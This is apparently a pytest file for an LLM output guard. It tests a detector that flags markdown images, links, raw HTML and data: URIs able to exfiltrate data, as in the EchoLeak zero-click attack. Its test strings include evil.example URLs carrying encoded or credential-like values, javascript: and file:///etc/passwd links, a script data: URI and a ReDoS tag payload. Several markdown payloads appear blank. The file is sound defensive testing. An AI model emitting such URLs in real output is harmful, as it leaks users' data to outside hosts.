Kjell Tore Guttormsen
b90233481a
`scan_active_content` called directly and `okf.link_graph` were the two surfaces still reading attacker-supplied text with no cap — the first reached by an adapter that wants the active-content classes alone, the second running a `findall` over every body in a bundle. Both are detection-shaped, so they truncate and flag rather than raise the way the transform surfaces do: what a detector shortens is its own coverage, not the caller's content. Truncation is only honest if it is visible, so neither goes quiet: the scanner emits `active:oversize-input` (LLM10), and `link_graph` records `(from_id, body_length)` in `LinkGraphResult.truncated` — the field that lets a caller tell "no links past here" from "no links read past here". Reached through `scan_output`, the text is already under that surface's cap and `max_scan_chars` is now passed down, so the flag is raised once, there.
360 lines
16 KiB
Python
360 lines
16 KiB
Python
"""Tests for the report-only active-content detector (review 2026-07, Session A).
|
|
|
|
``scan_active_content`` closes the EchoLeak wiring hole (CVE-2025-32711): the
|
|
active-content classes ``neutralize`` can defang — markdown images/links,
|
|
reference-link definitions, angle-bracket autolinks, raw active HTML, ``data:``
|
|
URIs — must also surface as *findings* on the standard gate, so
|
|
``screen_output`` and ``okf.import_bundle`` dispose of them instead of admitting
|
|
them silently (OWASP LLM05 — Improper Output Handling).
|
|
|
|
Report-only twin of ``neutralize`` (design principles 3 & 4): it never mutates,
|
|
and severities mirror the defanger's (image / raw-html / data-uri HIGH, links
|
|
MEDIUM). One deliberate divergence: markdown images/links are flagged only when
|
|
the URL is absolute or protocol-relative — a relative in-document link carries
|
|
no exfiltration affordance, and flagging it would silently over-block legitimate
|
|
wiki content (design principle 5: over-blocking is a failure mode).
|
|
"""
|
|
from __future__ import annotations
|
|
|
|
import pytest
|
|
|
|
import time
|
|
|
|
from llm_ingestion_guard import (
|
|
scan_active_content,
|
|
scan_output,
|
|
screen_output,
|
|
Disposition,
|
|
PRESET_USER_UPLOAD,
|
|
)
|
|
from llm_ingestion_guard.okf import import_bundle, Origin, Channel
|
|
from llm_ingestion_guard.report import Severity, Source
|
|
|
|
# The zero-click EchoLeak primitive: an auto-fetched markdown image URL.
|
|
_ECHOLEAK = ""
|
|
|
|
|
|
# --- the wiring hole the review proved (Probe 1/1b/2) ------------------------
|
|
|
|
def test_markdown_image_is_reported():
|
|
report = scan_active_content(_ECHOLEAK)
|
|
img = [f for f in report.findings if f.label == "active:markdown-image"]
|
|
assert len(img) == 1
|
|
assert img[0].severity is Severity.HIGH
|
|
assert img[0].detector == "active_content"
|
|
assert img[0].owasp == "LLM05"
|
|
|
|
|
|
def test_scan_output_includes_active_content():
|
|
labels = {f.label for f in scan_output(_ECHOLEAK).findings}
|
|
assert "active:markdown-image" in labels
|
|
|
|
|
|
def test_screen_output_reports_echoleak():
|
|
# Review Probe 1: this was WARN with findings=[] — the unsafe admit.
|
|
decision = screen_output(_ECHOLEAK, PRESET_USER_UPLOAD)
|
|
assert decision.disposition is not Disposition.WARN, decision
|
|
|
|
|
|
def test_okf_import_flags_body_echoleak():
|
|
# Review Probe 2: the same payload in an OKF concept body was ADMITted.
|
|
bundle = {"note.md": "---\ntype: table\n---\n" + _ECHOLEAK + "\n"}
|
|
result = import_bundle(bundle, origin=Origin.EXTERNAL, channel=Channel.AUTOMATIC)
|
|
assert result.disposition is not Disposition.WARN, result
|
|
|
|
|
|
# --- each active-content class surfaces as a finding -------------------------
|
|
|
|
def test_inline_link_is_reported_medium():
|
|
# Click-required carrier -> MEDIUM when the URL can carry a value outward.
|
|
# (The ordinary form of the same construct is LOW; see the shape tests.)
|
|
report = scan_active_content("click [here](https://evil.example/go?d=account) now")
|
|
link = [f for f in report.findings if f.label == "active:markdown-link"]
|
|
assert len(link) == 1
|
|
assert link[0].severity is Severity.MEDIUM
|
|
|
|
|
|
def test_reference_link_definition_is_reported():
|
|
text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
|
|
labels = {f.label for f in scan_active_content(text).findings}
|
|
assert "active:reference-link" in labels
|
|
|
|
|
|
def test_autolink_is_reported():
|
|
report = scan_active_content("read more <https://evil.example/x> here")
|
|
assert any(f.label == "active:autolink" for f in report.findings)
|
|
|
|
|
|
def test_raw_active_html_is_reported():
|
|
report = scan_active_content('<img src="https://evil.example/leak?d=x">')
|
|
html = [f for f in report.findings if f.label == "active:raw-html"]
|
|
assert len(html) == 1
|
|
assert html[0].severity is Severity.HIGH
|
|
|
|
|
|
def test_data_uri_is_reported():
|
|
report = scan_active_content("open data:text/html;base64,PHNjcmlwdD4= please")
|
|
data = [f for f in report.findings if f.label == "active:data-uri"]
|
|
assert len(data) == 1
|
|
assert data[0].severity is Severity.HIGH
|
|
|
|
|
|
# --- false-positive guards: no exfil affordance -> no finding ----------------
|
|
|
|
def test_relative_link_is_not_flagged():
|
|
# The OKF cross-link case: in-bundle links are the format's core mechanism.
|
|
report = scan_active_content("See [orders](/tables/orders.md) and [notes](./notes.md).")
|
|
assert report.found is False
|
|
|
|
|
|
def test_relative_image_is_not_flagged():
|
|
report = scan_active_content("")
|
|
assert report.found is False
|
|
|
|
|
|
def test_protocol_relative_url_is_flagged():
|
|
# `//evil.example` resolves against the rendering host's scheme — external.
|
|
report = scan_active_content("[x](//evil.example/leak)")
|
|
assert any(f.label == "active:markdown-link" for f in report.findings)
|
|
|
|
|
|
def test_dangerous_scheme_link_is_flagged():
|
|
report = scan_active_content("[x](javascript:alert(1))")
|
|
assert any(f.label == "active:markdown-link" for f in report.findings)
|
|
|
|
|
|
def test_clean_prose_has_no_findings():
|
|
text = ("A perfectly ordinary wiki paragraph. Costs $5! See section [1] below "
|
|
"(really). if a < b and c > d then see [note]. the metadata: field.")
|
|
assert scan_active_content(text).found is False
|
|
|
|
|
|
def test_benign_formatting_html_is_not_flagged():
|
|
report = scan_active_content("This is <b>strong</b> and <em>emph</em> text.")
|
|
assert report.found is False
|
|
|
|
|
|
# --- URL shape: severity tracks what the URL can CARRY (0.3.1) ---------------
|
|
# 0.3.0 graded on construct type, so ``
|
|
# — a URL that carries nothing outward — was HIGH and fail-secured every ordinary
|
|
# document on the upload preset. Severity now grades on URL *shape*: an ordinary
|
|
# external URL (bare path, no query, no opaque segment) is LOW; a URL that can
|
|
# move bytes outward keeps the carrier's full severity.
|
|
|
|
_ORDINARY = [
|
|
("image", "", "active:markdown-image"),
|
|
("link", "See [the guide](https://learn.microsoft.com/en-us/azure/overview).", "active:markdown-link"),
|
|
("autolink", "Spec: <https://example.com/spec/v2>", "active:autolink"),
|
|
("refdef", "[guide]: https://example.com/docs/deployment-guide", "active:reference-link"),
|
|
]
|
|
|
|
|
|
@pytest.mark.parametrize("cid,text,label", _ORDINARY, ids=[c[0] for c in _ORDINARY])
|
|
def test_ordinary_external_url_is_low(cid, text, label):
|
|
finding = [f for f in scan_active_content(text).findings if f.label == label]
|
|
assert len(finding) == 1, f"{cid}: {label} not reported at all"
|
|
assert finding[0].severity is Severity.LOW, f"{cid}: {finding[0].severity}"
|
|
|
|
|
|
_EXFIL_SHAPED_URLS = [
|
|
("query-carries-value", "https://evil.example/collect?d=account-identifier"),
|
|
("base64-path-segment", "https://evil.example/c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU/p.png"),
|
|
("hex-id-path-segment", "https://evil.example/d41d8cd98f00b204e9800998ecf8427e/p.png"),
|
|
("percent-encoded-path", "https://evil.example/p/%73%65%63%72%65%74%76%61%6c%75%65"),
|
|
("opaque-subdomain", "https://c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU.evil.example/p.png"),
|
|
("userinfo-authority", "https://token:s3cr3tvalue@evil.example/p.png"),
|
|
]
|
|
|
|
|
|
@pytest.mark.parametrize("cid,url", _EXFIL_SHAPED_URLS, ids=[c[0] for c in _EXFIL_SHAPED_URLS])
|
|
def test_exfil_shaped_image_keeps_high(cid, url):
|
|
finding = [f for f in scan_active_content(f"").findings
|
|
if f.label == "active:markdown-image"]
|
|
assert len(finding) == 1, f"{cid}: image not reported"
|
|
assert finding[0].severity is Severity.HIGH, f"{cid}: downgraded to {finding[0].severity}"
|
|
|
|
|
|
@pytest.mark.parametrize("cid,url", _EXFIL_SHAPED_URLS, ids=[c[0] for c in _EXFIL_SHAPED_URLS])
|
|
def test_exfil_shaped_link_keeps_medium(cid, url):
|
|
finding = [f for f in scan_active_content(f"[x]({url})").findings
|
|
if f.label == "active:markdown-link"]
|
|
assert len(finding) == 1, f"{cid}: link not reported"
|
|
assert finding[0].severity is Severity.MEDIUM, f"{cid}: downgraded to {finding[0].severity}"
|
|
|
|
|
|
def test_fragment_is_not_treated_as_carrying():
|
|
# A fragment never reaches the server, so it cannot carry data to the host a
|
|
# renderer auto-fetches — and `…/overview#section` is the most common shape
|
|
# in real documentation. The link-click nuance (an attacker page's JS *can*
|
|
# read location.hash) is a documented residual, not a severity here.
|
|
finding = [f for f in scan_active_content(
|
|
"[prereqs](https://learn.microsoft.com/en-us/azure/overview#prerequisites)"
|
|
).findings if f.label == "active:markdown-link"]
|
|
assert finding and finding[0].severity is Severity.LOW
|
|
|
|
|
|
def test_non_http_scheme_is_never_ordinary():
|
|
# Only http(s) and protocol-relative URLs have an "ordinary" form. Anything
|
|
# else (javascript:, ftp:, file:, ...) keeps the carrier's full severity
|
|
# whatever its path looks like.
|
|
for url in ("javascript:alert(1)", "ftp://example.com/pub/file.txt", "file:///etc/passwd"):
|
|
finding = [f for f in scan_active_content(f"[x]({url})").findings
|
|
if f.label == "active:markdown-link"]
|
|
assert finding and finding[0].severity is Severity.MEDIUM, url
|
|
|
|
|
|
def test_raw_html_and_data_uri_stay_high_regardless_of_url_shape():
|
|
# These are active whatever the URL carries: a raw <img> is fetched by the
|
|
# renderer and a data: URI executes its own payload. No ordinary form exists.
|
|
html = [f for f in scan_active_content('<img src="https://example.com/logo.png">').findings
|
|
if f.label == "active:raw-html"]
|
|
assert html and html[0].severity is Severity.HIGH
|
|
data = [f for f in scan_active_content("see data:text/plain,hello here").findings
|
|
if f.label == "active:data-uri"]
|
|
assert data and data[0].severity is Severity.HIGH
|
|
|
|
|
|
def test_worst_url_in_a_class_sets_severity_and_evidence():
|
|
# An exfil URL hidden behind an ordinary one must not be masked by first-hit
|
|
# evidence: the class reports the WORST member, with that member's evidence.
|
|
text = (" "
|
|
"")
|
|
img = [f for f in scan_active_content(text).findings if f.label == "active:markdown-image"][0]
|
|
assert img.severity is Severity.HIGH
|
|
assert img.count == 2
|
|
assert "evil" in (img.evidence or ""), img.evidence
|
|
|
|
|
|
# --- counting and evidence hygiene -------------------------------------------
|
|
|
|
def test_image_is_not_double_counted_as_link():
|
|
labels = {f.label for f in scan_active_content("").findings}
|
|
assert "active:markdown-image" in labels
|
|
assert "active:markdown-link" not in labels
|
|
|
|
|
|
def test_autolink_is_not_double_counted_as_html():
|
|
# `<https://...?src=x>` also parses as an HTML tag with a URL attribute; the
|
|
# autolink pass must consume it first (mirrors neutralize's pass order).
|
|
report = scan_active_content("<https://evil.example/leak?src=x>")
|
|
labels = [f.label for f in report.findings]
|
|
assert labels.count("active:autolink") == 1
|
|
assert "active:raw-html" not in labels
|
|
|
|
|
|
def test_multiple_images_are_counted():
|
|
report = scan_active_content(" ")
|
|
img = [f for f in report.findings if f.label == "active:markdown-image"][0]
|
|
assert img.count == 2
|
|
|
|
|
|
def test_evidence_never_carries_a_fetchable_url():
|
|
# Evidence is defanged (hxxps / bracketed dots): the report must be safe to
|
|
# log and render without recreating the auto-fetch affordance it flagged.
|
|
for payload in (_ECHOLEAK, '<img src="https://evil.example/leak?d=x">'):
|
|
for f in scan_active_content(payload).findings:
|
|
assert "https://" not in (f.evidence or ""), (f.label, f.evidence)
|
|
|
|
|
|
def test_default_source_is_output_and_override_respected():
|
|
assert all(f.source is Source.OUTPUT
|
|
for f in scan_active_content(_ECHOLEAK).findings)
|
|
assert all(f.source is Source.INPUT
|
|
for f in scan_active_content(_ECHOLEAK, source=Source.INPUT).findings)
|
|
|
|
|
|
# --- raw-HTML over-blocks measured on a vendor-docs corpus (2026-07-26) -------
|
|
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
|
|
# closed over-block should fail here and force the doc to be updated.
|
|
|
|
@pytest.mark.parametrize("cid,text", [
|
|
# Fires on the URL-attr branch although the target is a relative doc route,
|
|
# which cannot reach an attacker-controlled host. `Card` is not in the active
|
|
# name set — the href alone carries it.
|
|
("relative-href-on-inactive-name",
|
|
'<Card title="Quickstart" icon="play" href="/en/agent-sdk/quickstart">'),
|
|
# Fires on the *name* branch: names are lower-cased and `frame` is in the
|
|
# active set (legacy HTML framesets), while `Frame` is a common MDX component.
|
|
("mdx-component-named-like-a-tag", "<Frame>"),
|
|
])
|
|
def test_raw_html_overblocks_are_still_high(cid, text):
|
|
finding = [f for f in scan_active_content(text).findings
|
|
if f.label == "active:raw-html"]
|
|
assert len(finding) == 1, f"{cid}: raw-html not reported"
|
|
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
|
|
|
|
|
|
def test_raw_html_counts_end_tags():
|
|
# `</a>` is active by name on its own, so a corpus census counting only opening
|
|
# tags understates this detector's `count`. The class still collapses to ONE
|
|
# finding — the count is what moves.
|
|
solo = [f for f in scan_active_content("</a>").findings
|
|
if f.label == "active:raw-html"]
|
|
assert len(solo) == 1 and solo[0].count == 1
|
|
|
|
pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
|
|
if f.label == "active:raw-html"]
|
|
assert len(pair) == 1, "a start/end pair must not split into two findings"
|
|
assert pair[0].count == 2, f"end tag not counted: {pair[0].count}"
|
|
|
|
|
|
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
|
|
# The `_REDOS_PAYLOADS` rows in test_output.py attack tags that never CLOSE, so
|
|
# `HTML_TAG_RE` fails and the tag body is never handed on. This arm is the
|
|
# opposite: the tag closes, and its body is long. `_tag` then runs
|
|
# `URL_IN_TEXT_RE` over it, whose scheme run sits in front of a required `://`
|
|
# that never arrives — 12.99s at 100_000 chars through this scanner, exponent
|
|
# 1.87-2.06 over four doublings, with no input cap on this entry point at all.
|
|
# Missed by the 0.3.2 sweep because a repeating-unit payload cannot express
|
|
# "one tag, long body"; found by docs/redos-sweep.py generalised past lexicon.
|
|
_ATTR_REDOS_N = 100_000
|
|
|
|
|
|
def test_crafted_long_attribute_tag_stays_bounded():
|
|
payload = "<a " + "A" * _ATTR_REDOS_N + ">"
|
|
start = time.monotonic()
|
|
scan_active_content(payload)
|
|
assert time.monotonic() - start < 2.0
|
|
|
|
|
|
def test_url_defanging_survives_the_redos_fix():
|
|
# Recall parity for the evidence defanger, including the two forms a
|
|
# lookbehind-based fix would have dropped (`-` / `.` immediately before the
|
|
# scheme), which is why the scheme run is bounded instead.
|
|
for raw, expected in (
|
|
("<a href=http://evil.com>", "hxxp"),
|
|
("<a href=-http://evil.com>", "hxxp"),
|
|
("<a href=.http://x.com>", "hxxp"),
|
|
('<a href="https://a.b/c">', "hxxps"),
|
|
):
|
|
report = scan_active_content(raw)
|
|
evidence = " ".join(f.evidence or "" for f in report.findings)
|
|
assert expected in evidence, raw
|
|
assert "http://" not in evidence and "https://" not in evidence, raw
|
|
|
|
|
|
# --- self-safety (OWASP LLM10) ----------------------------------------------
|
|
#
|
|
# Reached through `scan_output` this detector inherits that surface's cap. Called
|
|
# directly — the shape an adapter reaches for when it wants the active-content
|
|
# classes alone — it had none. It is detection-shaped, so it truncates and flags
|
|
# rather than raising the way the transform surfaces do: what a shortened scan
|
|
# costs is coverage of the tail, not the caller's content.
|
|
|
|
def test_oversize_input_is_capped_and_flagged():
|
|
big = "x" * 200 + "\n\n"
|
|
report = scan_active_content(big, max_scan_chars=50)
|
|
|
|
oversize = [f for f in report.findings if "oversize" in f.label]
|
|
assert len(oversize) == 1
|
|
assert oversize[0].owasp == "LLM10"
|
|
assert oversize[0].count == len(big)
|
|
# Prefix only: the construct past the cap is not reported. This is the cost
|
|
# the flag exists to announce, so assert it rather than assume it.
|
|
assert not [f for f in report.findings if f.label == "active:markdown-image"]
|
|
|
|
|
|
def test_input_exactly_at_the_cap_is_not_flagged():
|
|
# The cap is the largest scanned size, not the smallest truncated one.
|
|
report = scan_active_content("x" * 50, max_scan_chars=50)
|
|
assert not [f for f in report.findings if "oversize" in f.label]
|